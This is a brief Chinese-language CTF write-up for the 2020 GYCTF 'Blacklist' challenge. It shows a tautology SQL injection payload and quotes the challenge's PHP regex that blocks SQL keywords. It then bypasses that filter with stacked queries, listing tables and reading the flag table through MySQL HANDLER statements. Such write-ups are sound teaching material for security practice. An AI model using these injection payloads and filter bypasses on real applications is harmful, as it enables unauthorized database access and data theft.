> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-gyctf/blacklist.md).

# Blacklist

万能钥匙穿了

```
1' or '1'='1'#
```

上select被过滤了

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
```

感觉很像强网杯的随便注（看了一下就是），然后就是堆叠注入了。

```
1';show tables;#
```

[官方文档](https://dev.mysql.com/doc/refman/8.0/en/handler.html)。使用**OPEN**打开表的会话，在**CLOSE**前不会关闭；使其在打开期间使用**READ**读取文件。

```
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;
#
```